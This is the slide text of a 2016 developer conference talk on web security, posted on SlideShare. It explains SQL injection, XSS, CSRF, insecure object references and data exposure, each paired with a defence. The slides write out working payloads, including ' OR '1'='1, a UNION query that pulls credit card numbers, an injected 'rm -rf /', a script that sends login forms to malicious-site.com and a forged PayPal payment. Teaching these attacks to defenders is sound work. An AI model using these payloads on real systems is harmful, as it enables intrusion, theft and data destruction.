Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.

Hacking Your Way To Better Security - php[tek] 2016

646 views

Published on

This talk educates developers on common security vulnerabilities, how they are exploited, and how to protect against them. We will explore several of the OWASP top 10 attack vectors, such as SQL injection, XSS, CSRF, and session hijacking. Each topic will be approached from the perspective of an attacker to learn how these vulnerabilities are detected and exploited using several realistic examples. We will then apply this knowledge to learn how web applications can be secured against such vulnerabilities.

Published in: Software
  • Be the first to comment

Hacking Your Way To Better Security - php[tek] 2016

  1. 1. Hacking Your Way To Better Security
  2. 2. Colin O’Dell @colinodell Lead Web Developer at Unleashed Technologies PHP developer since 2002 league/commonmark maintainer PHP 7 Migration Guide e-book author php[world] 2015 CtF winner
  3. 3. Goals Explore several top security vulnerabilities from the perspective of an attacker. 1. Understand how to detect and exploit common vulnerabilities 2. Learn how to protect against those vulnerabilities
  4. 4. Disclaimers 1.NEVER test systems that aren’t yours without explicit permission. 2.Examples in this talk are fictional, but the vulnerability behaviors shown are very real.
  5. 5. OWASP Top 10
  6. 6. OWASP Top 10 Regular publication by The Open Web Application Security Project Highlights the 10 most-critical web application security risks
  7. 7. SQL Injection Modifying SQL statements to: Spoof identity Tamper with data Disclose hidden information
  8. 8. SQL Injection Basics $value = $_REQUEST['value']; SELECT * FROM x WHERE y = '[MALICIOUS CODE HERE]' "; $sql = "SELECT * FROM x WHERE y = '$value' "; $database->query($sql);
  9. 9. Username Password Log In admin password
  10. 10. Username Password Log In admin password' Invalid username or password. Please double-check and try again.
  11. 11. Username Password Log In admin Unknown error.
  12. 12. tail –n 1 /var/log/apache2/error.log MySQL error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near "password'" at line 1. tail –n 1 /var/log/mysql/query.log SELECT * FROM users WHERE username = 'admin' AND password = 'password''; $ $
  13. 13. tail –n 1 /var/log/apache2/error.log MySQL error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near "password'" at line 1. tail –n 1 /var/log/mysql/query.log SELECT * FROM users WHERE username = 'admin' AND password = 'password''; $ $ ~~
  14. 14. Username Password Log In admin ' test Unknown error.
  15. 15. Username Password Log In admin Unknown error.
  16. 16. tail –n 1 /var/log/apache2/error.log MySQL error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near "' test" at line 1. tail –n 1 /var/log/mysql/query.log SELECT * FROM users WHERE username = 'admin' AND password = '' test'; $ $
  17. 17. tail –n 1 /var/log/apache2/error.log MySQL error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near "' test" at line 1. tail –n 1 /var/log/mysql/query.log SELECT * FROM users WHERE username = 'admin' AND password = '' test'; $ $ ~~~~~~~~
  18. 18. ~~~~~~~~ SELECT * FROM users WHERE username = 'admin' AND password = '' test'; SELECT * FROM users WHERE username = 'admin' AND password = ''; SELECT * FROM users WHERE username = 'admin' AND password = '' OR (something that is true); SELECT * FROM users WHERE username = 'admin' AND (true); SELECT * FROM users WHERE username = 'admin';
  19. 19. SELECT * FROM users WHERE username = 'admin' AND password = '' test '; ' test
  20. 20. SELECT * FROM users WHERE username = 'admin' AND password = '' test '; SELECT * FROM users WHERE username = 'admin' AND password = '' test '; ' test ~~~~~~~~~~~~~~~~~~~~
  21. 21. SELECT * FROM users WHERE username = 'admin' AND password = ' '; SELECT * FROM users WHERE username = 'admin' AND password = ' ';
  22. 22. SELECT * FROM users WHERE username = 'admin' AND password = '' '; SELECT * FROM users WHERE username = 'admin' AND password = '' '; ' ~~~~
  23. 23. SELECT * FROM users WHERE username = 'admin' AND password = '' ' '; SELECT * FROM users WHERE username = 'admin' AND password = '' ' '; ' ' ~~~~~~~~~~~~~~~~
  24. 24. SELECT * FROM users WHERE username = 'admin' AND password = '' OR ' '; SELECT * FROM users WHERE username = 'admin' AND password = '' OR ' '; ' OR '
  25. 25. SELECT * FROM users WHERE username = 'admin' AND password = '' OR '1 ' '; SELECT * FROM users WHERE username = 'admin' AND password = '' OR '1 ' '; ' OR '1 ' ~~~~
  26. 26. SELECT * FROM users WHERE username = 'admin' AND password = '' OR '1' ' '; SELECT * FROM users WHERE username = 'admin' AND password = '' OR '1' ' '; ' OR '1' ' ~~~~~~~~~
  27. 27. SELECT * FROM users WHERE username = 'admin' AND password = '' OR '1'=' '; SELECT * FROM users WHERE username = 'admin' AND password = '' OR '1'=' '; ' OR '1'='
  28. 28. SELECT * FROM users WHERE username = 'admin' AND password = '' OR '1'='1'; SELECT * FROM users WHERE username = 'admin' AND password = '' OR '1'='1'; ' OR '1'='1
  29. 29. Username Password Log In admin ' OR '1'='1 Unknown error.
  30. 30. Welcome Admin! Admin Menu: Give customer money Take money away Review credit card applications Close accounts
  31. 31. Blind SQL Injection
  32. 32. Blind SQL Injection Invalid username or password. Please double-check and try again. Unknown error. Valid query (empty result) Invalid query Welcome Admin! Valid query (with result)
  33. 33. ' AND (SELECT id FROM user LIMIT 1) = ' Username Password admin Log In Real-Time MySQL View
  34. 34. ' AND (SELECT id FROM user LIMIT 1) = ' Username Password admin Unknown error. Log In Error LogQuery Log SELECT * FROM users WHERE username = 'admin' AND password = '' AND (SELECT id FROM user LIMIT 1) = '';
  35. 35. ' AND (SELECT id FROM user LIMIT 1) = ' Username Password admin Unknown error. Log In Query Log MySQL error: Unknown table 'user'. Error Log
  36. 36. ' AND (SELECT id FROM users LIMIT 1) = ' Username Password admin Unknown error. Log In Query Log MySQL error: Unknown table 'user'. Error Log
  37. 37. ' AND (SELECT id FROM users LIMIT 1) = ' Username Password admin Invalid username or password. Please double-check and try again. Log In
  38. 38. SQL Injection - Data Disclosure
  39. 39. SQL Injection - Data Disclosure http://www.onlinebookstore.com/books/123 SELECT * FROM books WHERE id = 123 $id = …; $sql = "SELECT title, author, price FROM books WHERE id = " . $id; $data = $database->query($sql); { 'title' => 'The Great Gatsby', 'author' => 'F. Scott Fitzgerald', 'price' => 9.75 }
  40. 40. SQL Injection - Data Disclosure http://www.onlinebookstore.com/books/99999 SELECT * FROM books WHERE id = 99999 $id = …; $sql = "SELECT title, author, price FROM books WHERE id = " . $id; $data = $database->query($sql); { }
  41. 41. SQL Injection - Data Disclosure http://www.onlinebookstore.com/books/????? SELECT * FROM books WHERE id = ????? $id = …; $sql = "SELECT title, author, price FROM books WHERE id = " . $id; $data = $database->query($sql); { 'title' => '', 'author' => '', 'price' => 0.00 }
  42. 42. SQL UNION Query Column 1 Column 2 Column 3 The Great Gatsby F. Scott Fitzgerald 9.75 Column 1 Column 2 Column 3 Foo Bar 123 Column 1 Column 2 Column 3 The Great Gatsby F. Scott Fitzgerald 9.75 Foo Bar 123 UNION
  43. 43. SQL UNION Query Column 1 Column 2 Column 3 The Great Gatsby F. Scott Fitzgerald 9.75 Column 1 Column 2 Column 3 (SELECT) 1 1 Column 1 Column 2 Column 3 The Great Gatsby F. Scott Fitzgerald 9.75 (SELECT) 1 1 UNION
  44. 44. SQL UNION Query Column 1 Column 2 Column 3 (empty) Column 1 Column 2 Column 3 (SELECT) 1 1 Column 1 Column 2 Column 3 (SELECT) 1 1 UNION
  45. 45. SQL Injection - Data Disclosure http://www.onlinebookstore.com/books/99999 UNION SELECT number FROM creditcards SELECT * FROM books WHERE id = ????? $id = …; $sql = "SELECT title, author, price FROM books WHERE id = " . $id; $data = $database->query($sql); { 'title' => '', 'author' => '', 'price' => 0.00 }
  46. 46. SQL Injection - Data Disclosure http://www.onlinebookstore.com/books/99999 UNION SELECT number AS 'title', 1 AS 'author', 1 AS 'price' FROM creditcards SELECT * FROM books WHERE id = ????? $id = …; $sql = "SELECT title, author, price FROM books WHERE id = " . $id; $data = $database->query($sql); { 'title' => '', 'author' => '', 'price' => 0.00 }
  47. 47. SQL Injection - Data Disclosure http://www.onlinebookstore.com/books/99999 UNION SELECT number AS 'title', 1 AS 'author', 1 AS 'price' FROM creditcards SELECT * FROM books WHERE id = 99999 UNION SELECT number AS 'title', 1 AS 'author', 1 AS 'price' FROM creditcards $id = …; $sql = "SELECT title, author, price FROM books WHERE id = " . $id; $data = $database->query($sql); { 'title' => '', 'author' => '', 'price' => 0 }
  48. 48. SQL Injection - Data Disclosure http://www.onlinebookstore.com/books/99999 UNION SELECT number AS 'title', 1 AS 'author', 1 AS 'price' FROM creditcards SELECT * FROM books WHERE id = 99999 UNION SELECT number AS 'title', 1 AS 'author', 1 AS 'price' FROM creditcards $id = …; $sql = "SELECT title, author, price FROM books WHERE id = " . $id; $data = $database->query($sql); { 'title' => '4012-3456-7890-1234', 'author' => 1, 'price' => 1 }
  49. 49. Protecting Against SQL Injection $value = $_REQUEST['value']; $sql = "SELECT * FROM x WHERE y = '$value' "; $database->query($sql);
  50. 50. Protecting Against SQL Injection Block input with special characters
  51. 51. Protecting Against SQL Injection Block input with special characters Escape user input $value = $_REQUEST['value']; $escaped = mysqli_real_escape_string($value); $sql = "SELECT * FROM x WHERE y = '$escaped' "; $database->query($sql); ' OR '1' = '1 ' OR '1' = '1 mysqli_real_escape_string() SELECT * FROM x WHERE y = '' OR '1' = '1'
  52. 52. Protecting Against SQL Injection Block input with special characters Escape user input $value = $_REQUEST['value']; $escaped = mysqli_real_escape_string($value); $sql = "SELECT * FROM x WHERE y = '$escaped' "; $database->query($sql); ' OR '1' = '1 ' OR '1' = '1 mysqli_real_escape_string() SELECT * FROM x WHERE y = '' OR '1' = '1'
  53. 53. Protecting Against SQL Injection Block input with special characters Escape user input Use prepared statements $mysqli = new mysqli("localhost", "user", "pass", "db"); $q = $mysqli->prepare("SELECT * FROM x WHERE y = '?' "); $q->bind_param(1, $_REQUEST['value']); $q->execute(); Native PHP: ● mysqli ● pdo_mysql Frameworks / Libraries: ● Doctrine ● Eloquent ● Zend_Db
  54. 54. Other Types of Injection NoSQL databases OS Commands LDAP Queries SMTP Headers $file = $_GET['filename']; shell_exec("rm uploads/{$file}"); /rm.php?filename=foo.jpg+%26%26+rm+-rf+%2F rm uploads/foo.jpg && rm -rf /
  55. 55. XSS Cross-Site Scripting Injecting code into the webpage (for other users) • Execute malicious scripts • Hijack sessions • Install malware • Deface websites
  56. 56. XSS Attack Basics $value = $_POST['value']; $value = $rssFeed->first->title; $value = db_fetch('SELECT value FROM table'); <?php echo $value ?> Raw code/script is injected onto a page
  57. 57. XSS – Cross-Site Scripting Basics Snipicons by Snip Master licensed under CC BY-NC 3.0. Cookie icon by Daniele De Santis licensed under CC BY 3.0. Hat image from http://www.yourdreamblog.com/wp-content/uploads/2013/04/blackhat.png Logos are copyright of their respective owners. <form id="evilform" action="https://facebook.com/password.php" method="post"> <input type="password" value="hacked123"> </form> <script> document.getElementById('evilform').submit(); </script>
  58. 58. XSS – Cross-Site Scripting short.ly Paste a URL here Shorten
  59. 59. XSS – Cross-Site Scripting short.ly http://www.colinodell.com Shorten
  60. 60. XSS – Cross-Site Scripting short.ly http://www.colinodell.com Shorten Short URL: http://short.ly/b7fe9 Original URL: http://www.colinodell.com
  61. 61. XSS – Cross-Site Scripting short.ly Please wait while we redirect you to http://www.colinodell.com
  62. 62. XSS – Cross-Site Scripting short.ly <script>alert('hello world!');</script> Shorten
  63. 63. XSS – Cross-Site Scripting short.ly <script>alert('hello world!');</script> Shorten Short URL: http://short.ly/3bs8a Original URL: hello world! OK X
  64. 64. XSS – Cross-Site Scripting short.ly <script>alert('hello world!');</script> Shorten Short URL: http://short.ly/3bs8a Original URL:
  65. 65. <p> Short URL: <a href="…">http://short.ly/3bs8a</a> </p> <p> Original URL: <a href="…"><script>alert('hello world!');</script></a> </p>
  66. 66. XSS – Cross-Site Scripting short.ly <iframe src="https://www.youtube.com/embed/dQw4w9WgXcQ"> Shorten
  67. 67. XSS – Cross-Site Scripting short.ly <iframe src="https://www.youtube.com/embed/dQw4w9WgXcQ"> Shorten Short URL: http://short.ly/3bs8a Original URL:
  68. 68. XSS – Cross-Site Scripting short.ly Please wait while we redirect you to
  69. 69. XSS – Cross-Site Scripting document.getElementById('login-form').action = 'http://malicious-site.com/steal-passwords.php';
  70. 70. Protecting Against XSS Attacks $value = $_POST['value']; $value = db_fetch('SELECT value FROM table'); $value = $rssFeed->first->title; <?php echo $value ?>
  71. 71. Protecting Against XSS Attacks • Filter user input $value = strip_tags($_POST['value']); $value = strip_tags( db_fetch('SELECT value FROM table') ); $value = strip_tags($rssFeed->first->title); <?php echo $value ?>
  72. 72. Protecting Against XSS Attacks • Filter user input • Escape user input $value = htmlspecialchars($_POST['value']); $value = htmlspecialchars( db_fetch('SELECT value FROM table') ); $value = htmlspecialchars($rssFeed->first->title); <?php echo $value ?> <script> &lt;script&gt; htmlspecialchars()
  73. 73. Protecting Against XSS Attacks • Filter user input • Escape user input • Escape output $value = $_POST['value']; $value = db_fetch('SELECT value FROM table'); $value = $rssFeed->first->title; <?php echo htmlspecialchars($value) ?>
  74. 74. Protecting Against XSS Attacks • Filter user input • Escape user input • Escape output {{ some_variable }} {{ some_variable|raw }}
  75. 75. CSRF Cross-Site Request Forgery Execute unwanted actions on another site which user is logged in to. • Change password • Transfer funds • Anything the user can do
  76. 76. CSRF – Cross-Site Request Forgery Hi Facebook! I am colinodell and my password is *****. Welcome Colin! Here’s your news feed. Snipicons by Snip Master licensed under CC BY-NC 3.0. Cookie icon by Daniele De Santis licensed under CC BY 3.0. Hat image from http://www.yourdreamblog.com/wp-content/uploads/2013/04/blackhat.png Logos are copyright of their respective owners.
  77. 77. CSRF – Cross-Site Request Forgery Hi other website! Show me your homepage. Sure, here you go! Snipicons by Snip Master licensed under CC BY-NC 3.0. Cookie icon by Daniele De Santis licensed under CC BY 3.0. Hat image from http://www.yourdreamblog.com/wp-content/uploads/2013/04/blackhat.png Logos are copyright of their respective owners. <form id="evilform" action="https://facebook.com/password.php" method="post"> <input type="password" value="hacked123"> </form> <script> document.getElementById('evilform').submit(); </script>
  78. 78. CSRF – Cross-Site Request Forgery <form id="evilform" action="https://facebook.com/password.php" method="post"> <input type="password" value="hacked123"> </form> <script> document.getElementById('evilform').submit(); </script>
  79. 79. CSRF – Cross-Site Request Forgery <form id="evilform" action="https://facebook.com/password.php" method="post"> <input type="password" value="hacked123"> </form> <script> document.getElementById('evilform').submit(); </script> Tell Facebook we want to change our password to hacked123 Snipicons by Snip Master licensed under CC BY-NC 3.0. Cookie icon by Daniele De Santis licensed under CC BY 3.0. Hat image from http://www.yourdreamblog.com/wp-content/uploads/2013/04/blackhat.png Logos are copyright of their respective owners.
  80. 80. CSRF – Cross-Site Request Forgery <form id="evilform" action="https://facebook.com/password.php" method="post"> <input type="password" value="hacked123"> </form> <script> document.getElementById('evilform').submit(); </script> Hi Facebook! Please change my password to hacked123. Snipicons by Snip Master licensed under CC BY-NC 3.0. Cookie icon by Daniele De Santis licensed under CC BY 3.0. Hat image from http://www.yourdreamblog.com/wp-content/uploads/2013/04/blackhat.png Logos are copyright of their respective owners. Done!
  81. 81. CSRF – Cross-Site Request Forgery short.ly <img src="https://paypal.com/pay?email=me@evil.com&amt=9999"> Shorten
  82. 82. CSRF – Cross-Site Request Forgery short.ly Please wait while we redirect you to X
  83. 83. Protecting Against CSRF Attacks Only use POST requests?
  84. 84. Protecting Against CSRF Attacks Only use POST requests? NO! POST requests are vulnerable too Common Misconceptions: “<img> tags can only make GET requests” “If a user doesn’t click a form it won’t submit”
  85. 85. Protecting Against CSRF Attacks Only use POST requests? Use a secret cookie?
  86. 86. Protecting Against CSRF Attacks Only use POST requests? Use a secret cookie? NO! Cookies are sent on every request.
  87. 87. Protecting Against CSRF Attacks Only use POST requests? Use a secret cookie? Use random CSRF tokens YES! <input type="hidden" name="token" value="ao3i4yw90sae8rhsdrf"> 1. Generate a random string per user. 2. Store it in their session. 3. Add to form as hidden field. 4. Compare submitted value to session 1. Same token? Proceed. 2. Different/missing? Reject the request.
  88. 88. Insecure Direct Object References Access & manipulate objects you shouldn’t have access to
  89. 89. Insecure Direct Object References
  90. 90. Insecure Direct Object References Beverly Cooper
  91. 91. Insecure Direct Object References
  92. 92. Insecure Direct Object References
  93. 93. Insecure Direct Object References
  94. 94. Insecure Direct Object References
  95. 95. Protecting Against Insecure Direct Object References Check permission on data input • URL / route parameters • Form field inputs • Basically anything that’s an ID • If they don’t have permission, show a 403 (or 404) page
  96. 96. Protecting Against Insecure Direct Object References Check permission on data input Check permission on data output • Do they have permission to access this object? • Do they have permission to even know this exists? • This is not “security through obscurity”
  97. 97. Sensitive Data Exposure Security Misconfiguration Components with Known Vulnerabilities
  98. 98. http://www.example.com/CHANGELOG http://www.example.com/composer.lock http://www.example.com/.git/ http://www.example.com/.env http://www.example.com/robots.txt Sensitive Data Exposure
  99. 99. Sensitive Data Exposure - CHANGELOG
  100. 100. Sensitive Data Exposure – composer.lock
  101. 101. Sensitive Data Exposure – composer.lock
  102. 102. Sensitive Data Exposure – .git
  103. 103. Sensitive Data Exposure – robots.txt
  104. 104. Private information that is stored, transmitted, or backed-up in clear text (or with weak encryption) • Customer information • Credit card numbers • Credentials Sensitive Data Exposure
  105. 105. Security Misconfiguration & Components with Known Vulnerabilities Default accounts enabled; weak passwords • admin / admin Security configuration • Does SSH grant root access? • Are weak encryption keys used? Out-of-date software • Old versions with known issues • Are the versions exposed? • Unused software running (DROWN attack)
  106. 106. Components with Known Vulnerabilities
  107. 107. Components with Known Vulnerabilities
  108. 108. Components with Known Vulnerabilities
  109. 109. Protecting Against Sensitive Data Exposure, Security Mismanagement, and Components with Known Vulnerabilities Keep software up-to-date • Install critical updates immediately • Install other updates regularly
  110. 110. Protecting Against Sensitive Data Exposure, Security Misconfiguration, and Components with Known Vulnerabilities Keep software up-to-date Keep sensitive data out of web root • Files which provide version numbers • README, CHANGELOG, .git, composer.lock • Database credentials & API keys • Encryption keys
  111. 111. Protecting Against Sensitive Data Exposure, Security Misconfiguration, and Components with Known Vulnerabilities Keep software up-to-date Keep sensitive data out of web root Use strong encryption • Encrypt with a strong private key • Encrypt backups and data-in-transit • Use strong hashing techniques for passwords
  112. 112. Protecting Against Sensitive Data Exposure, Security Mismanagement, and Components with Known Vulnerabilities Keep software up-to-date Keep sensitive data out of web root Use strong encryption Test your systems • Scan your systems with automated tools • Test critical components yourself • Automated tests • Manual tests
  113. 113. Next Steps Test your own applications for vulnerabilities Learn more about security & ethical hacking Enter security competitions (like CtF) Stay informed
  114. 114. Questions?
  115. 115. Thanks! Slides & feedback: https://joind.in/talk/f7516 Colin O'Dell @colinodell

×